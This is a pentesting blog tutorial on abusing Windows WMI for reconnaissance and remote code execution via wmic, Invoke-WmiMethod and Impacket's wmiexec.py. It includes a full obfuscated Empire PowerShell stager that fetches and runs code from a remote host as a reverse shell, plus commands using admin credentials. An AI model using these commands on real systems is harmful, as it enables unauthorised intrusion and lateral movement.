Pentesting with WMI – part 1

Today’s post will be dedicated to Windows Management Instrumentation (WMI) and how to use it in a pentesting engagement. We already talked briefly about WMI in How to Hack Like a GOD, but the idea is to expand on what was already presented and discover the true potential of WMI. Let’s get cracking!

What is WMI?

WMI can be described as a set of accessing methods and functions to manage Windows systems. I like to think of it as an API to interact with the most obscure parts Windows.
What makes WMI very valuable in a pentesting engagement though, is its ability to interact with local and remote computers alike. Forget Psexec and its noisy files and services, with WMI everything happens in memory. That’s precious!

Some basics

WMI gives access to multiple classes, each representing an internal component: Win32_process class for current processes, Win32_Service for current services, etc. Each class has its own properties that we can query using the WQL language. Its syntax is very close to the SQL language.
To list available classes in a Windows environment – i.e. all available resources we can interact with, we call the PowerShell Get-WmiObject cmdlet:

PS > Get-WmiObject -List

Querying the class Win32_Process returns its internal properties, which happens to be information about running processes:

PS > Get-WmiObject -Query "select * from Win32_Process" | format-table

WQL being a querying language, we can add filters and Boolean expressions to search more efficiently:

PS > Get-WmiObject -Query "select * from Win32_Process where name like 'chrome%' " | format-table

Classes are grouped inside namespaces or aliases. The list of resources we got above all belong to the root\cimv2 namespace, which contains most system commands. There are others that may be available or registered by third-party products. You can check them out using this PowerShell command:

PS > Get-WMIObject -namespace "root" -class "__Namespace" | Select Name

I will leave it as an exercise to the reader to issue WQL queries to all objects and properties of these classes. You can find real gems in there to execute code remotely, register events, create files, etc.

Code Execution

Now back to the basics. Instead of using WQL to interact with WMI (which offers read-only access), we can use the wmic utility on Windows which offers a few layers of abstraction. For instance, to spawn a cmd.exe process, we run:

C:\> wmic process call create cmd

Like mentioned previously, the real advantage of WMI is to be able to control remotely these objects. So to spawn a new process on another machine we issue the following:

C:\> wmic /node:192.168.56.101 /user:administrator /password:Admin001 "process call create cmd”
instance of __PARAMETERS
{
        ProcessId = 16616;
        ReturnValue = 0;
};

As usual when executing code remotely, be sure to use an account likely not subject to UAC (default administrator account, domain account with local admin privileges, etc.). Remote commands are executed through DCOM objects (RPC ports 135 and 49052 – 65535 for Windows 2008 or 5000-6000 for Windows 2003).
The major challenge when using wmic for remote command execution is getting the output back. A dirty and quick way to solve this issue is using file redirection:

C:\> wmic /node:192.168.56.101 /user:administrator /password:Admin001 "process call create cmd.exe /c ipconfig > \\SERVER\share\output.txt”
C:\> move \\SERVER\share\output.txt .\output.txt

If we cannot find a share available to both users (administrator and our standard user on the attacking machine) we need to mount it using other credentials, then copy it. Not the sexiest option in a mass execution scenario (we will take care of that in the next post):

C:\> net use X: \\192.168.56.101\c$\temp\ /user:administrator /password:Admin001
C:\> xcopy net use X: \\192.168.56.101\c$\temp\ /user:administrator /password:Admin001

PowerShell provides a cmdlet equivalent of wmic called Invoke-WMI. In the example below, we spawn a PowerShell process that executes an inline base64 command. This command is none other than an Empire reverse shell:

# command contains a PS script to run an Empire agent
$command = ' [SysTeM.NET.SErVicePOinTMaNAGer]::EXPeCt100CoNtiNue = 0;$wC=NEw-ObjEct SYstEM.Net.WEbCLIenT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$Wc.HeaderS.Add('User-Agent',$u);$Wc.PROXy = [SystEm.NEt.WebREQuest]::DefAuLtWEBPROxy;$WC.PRoxy.CreDEntIals = [SYsTEM.NeT.CREDENtiAlCAChe]::DefAulTNeTwORKCrEDentiALS;$K='7c37be7260f8cd7c1f5e4dbdd7bc5b23';$i=0;[chAr[]]$b=([cHaR[]]($WC.DowNLOAdStrinG("http://192.168.1.11:8080/index.asp")))|%{$_-bXor$K[$i++%$k.LEngTH]};IEX ($B-joIn'')'
# We base64 encode the command
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
# Then include it in a Invoke-WmiMethod cmdlet
PS > Invoke-wmimethod -ComputerName SVLAB win32_process -name create -argumentlist ("powershell -encodedcommand JABiAHIAbwB3AHMAZQByACAAPQAgAE4AZQB3A…")

On Linux, you can use the wmiquery.py script from the infamous Impacket framework to issue WQL queries remotely:

root@Kali:~#  wmiquery.py Administrator:Admin001@192.168.1.25
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies

[!] Press help for extra shell commands
WQL> select * from Win32_Process

If you are looking for a quick remote command execution from a Linux platform, you are better off using the wmiexe.py script:

root@Kali:~#  wmiexec.py Administrator:Admin001@192.168.1.25
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands

C:>

The best part about wmiexec.py is its ability to automatically retrieve the output of commands passed as arguments (using output file redirection).